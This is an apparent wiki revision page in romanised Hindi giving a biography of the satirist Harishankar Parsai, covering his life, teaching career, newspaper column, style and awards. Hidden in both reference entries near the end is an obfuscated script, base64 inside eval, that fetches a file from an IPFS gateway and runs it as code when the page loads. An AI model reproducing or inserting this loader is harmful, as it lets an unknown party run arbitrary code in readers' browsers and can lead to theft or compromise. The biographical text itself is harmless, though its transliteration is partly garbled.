Difference between revisions of "हरिशंकर परसाई"
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|मृत्यु= [[10 अगस्त]], [[1995]] | |मृत्यु= [[10 अगस्त]], [[1995]] | ||
|मृत्यु स्थान=[[जबलपुर]], [[मध्य प्रदेश]] | |मृत्यु स्थान=[[जबलपुर]], [[मध्य प्रदेश]] | ||
| − | | | + | |अभिभावक= |
|पालक माता-पिता= | |पालक माता-पिता= | ||
|पति/पत्नी= | |पति/पत्नी= | ||
Revision as of 05:05, 29 May 2015
harishankar parasaee
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| poora nam | harishankar parasaee |
| janm | 22 agast, 1922 |
| janm bhoomi | jamani gaanv, hoshangabad zila, madhy pradesh |
| mrityu | 10 agast, 1995 |
| mrityu sthan | jabalapur, madhy pradesh |
| karm bhoomi | bharat |
| karm-kshetr | lekhak aur vyangyakar |
| mukhy rachanaean | 'tab ki bat aur thi', 'beeemani ki parat', 'bholaram ka jiv', 'vikalaang shraddha ka daura', 'jvala aur jal' adi. |
| vishay | samajik |
| bhasha | hiandi |
| vidyalay | 'nagapur vishvavidyalay' |
| shiksha | em.e. (hiandi) |
| puraskar-upadhi | 'sahity akadami puraskar', 'shiksha samman', 'sharad joshi samman' |
| prasiddhi | vyangyakar v rachanakar |
| nagarikata | bharatiy |
| vidhaean | nibandh, kahani, upanyas, sansmaran |
| any janakari | harishankar parasaee 'karl marks' se adhik prabhavit the. unaki pramukh rachanaoan mean "sadachar ka tabij" prasiddh rachanaoan mean se ek thi, jisamean rishvat lene-dene ke manovijnan ko unhoanne pramukhata ke sath ukera hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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harishankar parasaee (aangrezi: Harishankar Parsai, janm- 22 agast, 1922, hoshangabad, madhy pradesh; mrityu- 10 agast, 1995, jabalapur) hiandi ke prasiddh lekhak aur vyangyakar the. ye hiandi ke pahale rachanakar the, jinhoanne vyangy ko vidha ka darja dilaya aur use halke-phulke manoranjan ki paranparagat paridhi se ubarakar samaj ke vyapak prashnoan se jo da. unaki vyangy rachanaean hamare man mean gudagudi hi paida nahian karatian, balki hamean un samajik vastavikataoan ke amane-samane kh da karati haian, jinase kisi bhi vyakti ka alag rah pana lagabhag asanbhav hai. lagatar khokhali hoti ja rahi hamari samajik aur rajanitik vyavastha mean pisate madhyamavargiy man ki sachchaiyoan ko harishankar parasaee ne bahut hi nikatata se pak da hai. samajik pakhand aur roodhivadi jivan–moolyoan ki khilli u date hue unhoanne sadaiv vivek aur vijnan sammat drishti ko sakaratmak roop mean prastut kiya hai. unaki bhasha-shaili mean ek khas prakar ka apanapan nazar ata hai.
jivan parichay
harishankar parasaee ka janm 22 agast, 1922 ko madhy pradesh ke hoshangabad zile mean 'jamani' namak gaanv mean hua tha. gaanv se prambhik shiksha prapt karane ke bad ve nagapur chale aye the. 'nagapur vishvavidyalay' se unhoanne em. e. hiandi ki pariksha pas ki. kuchh dinoan tak unhoanne adhyapan kary bhi kiya. isake bad unhoanne svatantr lekhan praranbh kar diya. unhoanne jabalapur se sahityik patrika 'vasudha' ka prakashan bhi kiya, parantu ghata hone ke karan ise band karana p da. harishankar parasaee ji ne khokhali hoti ja rahi hamari samajik aur rajanitik vyavastha mean pisate madhyamavargiy man ki sachchaiyoan ko bahut hi nikatata se pak da hai. unaki bhasha-shaili mean khas kism ka apanapan hai, jisase pathak yah mahasoos karata hai ki lekhak usake samane hi baitha hai.
karyakshetr
matr atharah varsh ki umr mean harishankar parasaee ne 'jangal vibhag' mean naukari ki. ve khandava mean chh: mah tak bataur adhyapak bhi niyukt hue the. unhoann e do varsh (1941–1943 mean) jabalapur mean 'spes treniang k aaulij' mean shikshan kary ka adhyayan kiya. 1943 se harishankar ji vahian 'm aaudal haee skool' mean adhyapak ho gaye. kiantu varsh 1952 mean harishankar parasaee ko yah sarakari naukari chho di. unhoanne varsh 1953 se 1957 tak praivet skooloan mean naukari ki. 1957 mean unhoanne naukari chho dakar svatantr lekhan ki shurooat ki.
poochhiye parasaee se
harishankar parasaee jabalapur-rayapur se nikalane vale akhabar 'deshabandhu' mean pathakoan dvara poochhe jane vale unake anekoan prashnoan ke uttar dete the. akhabar mean is stambh ka nam tha- "poochhiye parasaee se". pahale is stambh mean halke ishkiya aur filmi saval poochhe jate the. dhire-dhire parasaeeji ne logoan ko gambhir samajik-rajanitik prashnoan ki or bhi pravritt kiya. kuchh samay bad hi isaka dayara aantarrashtriy ho gaya. yah sahaj jan shiksha thi. log unake saval-javab padhane ke liye akhabar ka b di bechaini se iantazar karate the.[1]
sahityik parichay
harishankar parasaee ji ki pahali rachana "svarg se narak jahaan tak" hai, jo ki mee 1948 mean prahari mean prakashit huee thi, jisamean unhoanne dharmik pakhand aur aandhavishvas ke khilaf pahali bar jamakar likha tha. dharmik khokhala pakhand unake lekhan ka pahala priy vishay tha. vaise harishankar parasaee karlamarks se adhik prabhavit the. parasaee ji ki pramukh rachanaoan mean "sadachar ka tabij" prasiddh rachanaoan mean se ek thi jisamean rishvat lene dene ke manovijnan ko unhoanne pramukhata ke sath ukera hai.
rachanaean
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sahityik visheshataean
pakhand, beeemani adi par parasaee ji ne apane vyangyoan se gahari chot ki hai. ve bolachal ki samany bhasha ka prayog karate haian aur chutila vyangy karane mean parasaee ji bejo d haian.
bhasha shaili
harishankar parasaee ki bhasha mean vyangy ki pradhanata hai. unaki bhasha samany aur saranchana ke karan vishesh kshamata rakhati hai. unake ek-ek shabd mean vyangy ke tikhepan ko spasht dekha ja sakata hai. lokaprachalit hiandi ke sath-sath urdoo, aangrezi shabdoan ka bhi unhoanne khulakar prayog kiya hai. parasaeeji ki alag-alag rachanaoan mean hi nahian, kisi ek rachana mean bhi bhasha, bhav aur bhangiya ke prasanganukool vibhinn roop aur anek star dekhe ja sakate haian. prasang badalate hi unaki bhasha-shaili mean jis sahajata se vaanchhit parivartan ate-jate haian, aur usase ek nishchit vyangy uddeshy ki bhi poorti hoti hai, unaki yah kala, chakit kar dene vali hai. parasaeeji ki ek rachana ki yah panktiyaan ki- 'ana-jana to laga hi rahata hai. aya hai, so jaega'- 'raja rank fakir' mean soophiyana aandaj hai, to vahian doosari or theth s dak–chhap davapharosh ki yah baki ada bhi darshaniy hai- "nianda mean vitamin aur protin hote haian. nianda khoon saph karati hai, pachan-kriya thik karati hai, bal aur sphoorti deti hai. nianda se maansapeshiya pusht hoti haian. nianda payariya ka to shartiya ilaj hai."
santoan ka prasang ane par harishankar parasaee ka shabd vaky-sanyojan aur shaili, sabhi kuchh ekadam badal jata hai, jaise- "santoan ko paranianda ki manahi hoti hai, isalie ve svanianda karake svasthy achchha rakhate haian. mo sam kaun kutil khal kami- yah sant ki vinay aur atmasvikriti nahian hai, t aaunik hai. sant b da kaianyaan hota hai. ham samajhate haian, vah atmasvikriti kar raha hai, par vastav mean vah vitamin aur protin kha raha hai." ek any rachana mean ve "paise mean b da vitamin hota hai" likhakar takat ki jagah 'vitamin' shabd se vaanchhit prabhav paida kar dete haian, jaise budhape mean baloan ki saphedi ke lie 'sir par kasan phool utha' ya kamazori ke lie 'taeephaid ne sari badam utar di.' jab ve likhate haian ki 'unaki bahoo aee aur bina kuchh kahe, dahi-b de dalakar jhamm se laut gee' to is 'jhamm se' laut jane se hi jhamm-jhamm payal bajati huee nee-naveli bahoo dvara teji se thali mean dahi-b de dalakar lautane ki samoochi kriya sakar ho jati hai. ek sajiv aur gatishil bianb moortt ho jata hai. jab ve likhate haian ki- 'mausi tarraee' ya 'ashrupat hone laga' to mausi sachamuch tarrati huee sun p dati hai aur aansuoan ki jh di lagi najar ati hai. 'tarraee' jaise deshaj aur 'ashrupat' jaise tatsam shabdoan ke bina rachana mean n to yah prabhav hi utpann kiya ja sakata tha aur n hi ichchhit vyangy.[2]
samman aur puraskar
- sahity akadami puraskar - 'vikalaang shraddha ka daur' ke lie
- shiksha samman - madhy pradesh shasan dvara
- di.lith ki manad upadhi - 'jabalapur vishvavidyalay' dvara
- sharad joshi samman
nidhan
apani hasy vyangy rachanaoan se sabhi ke man ko bha lene vale harishankar parasaee ka nidhan 10 agast, 1995 ko jabalapur, madhy pradesh mean hua. parasaee ji mukhyatah vyang lekhak the, kiantu unaka vyang keval manoranjan ke lie nahian hai. unhoanne apane vyang ke dvara bar-bar pathakoan ka dhyan vyakti aur samaj ki un kamazoriyoan aur visangatiyoan ki or akrisht kiya tha, jo hamare jivan ko doobhar bana rahi haian. unhoanne samajik aur rajanitik jivan mean vyapt bhrashtachar evan shoshan par apani vyang rachanaoan ke madhyam se karare prahar kie haian. unaka hindi vyang sahity anootha hai. parasaeeji apane lekhan ko ek samajik karm ke roop mean paribhashit karate the. unaki manyata thi ki samajik anubhav ke bina sachcha aur vastavik sahity likha hi nahian ja sakata. harishankar parasaee ne hindi sahity mean vyang vidha ko ek nee pahachan di aur use ek alag roop pradan kiya, jisake lie hindi sahity unaka hamesha rrini rahega.
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tika tippani aur sandarbh
- ↑ harishankar parasaee, parichay (hindi). . abhigaman tithi: 10 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ harishankar parasaee ki sankalit rachanaean (hindi). . abhigaman tithi: 10 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- harishankar parasaee ki rachanaean
- gardish ke din -harishankar parasaee
- vyangy jivan se sakshatkar karata hai- harishankar parasaee
- vyangy ke pratiman aur parasaee
- das din ka anashan
- harishankar parasaee
- harishankar parichao
sanbandhit lekh
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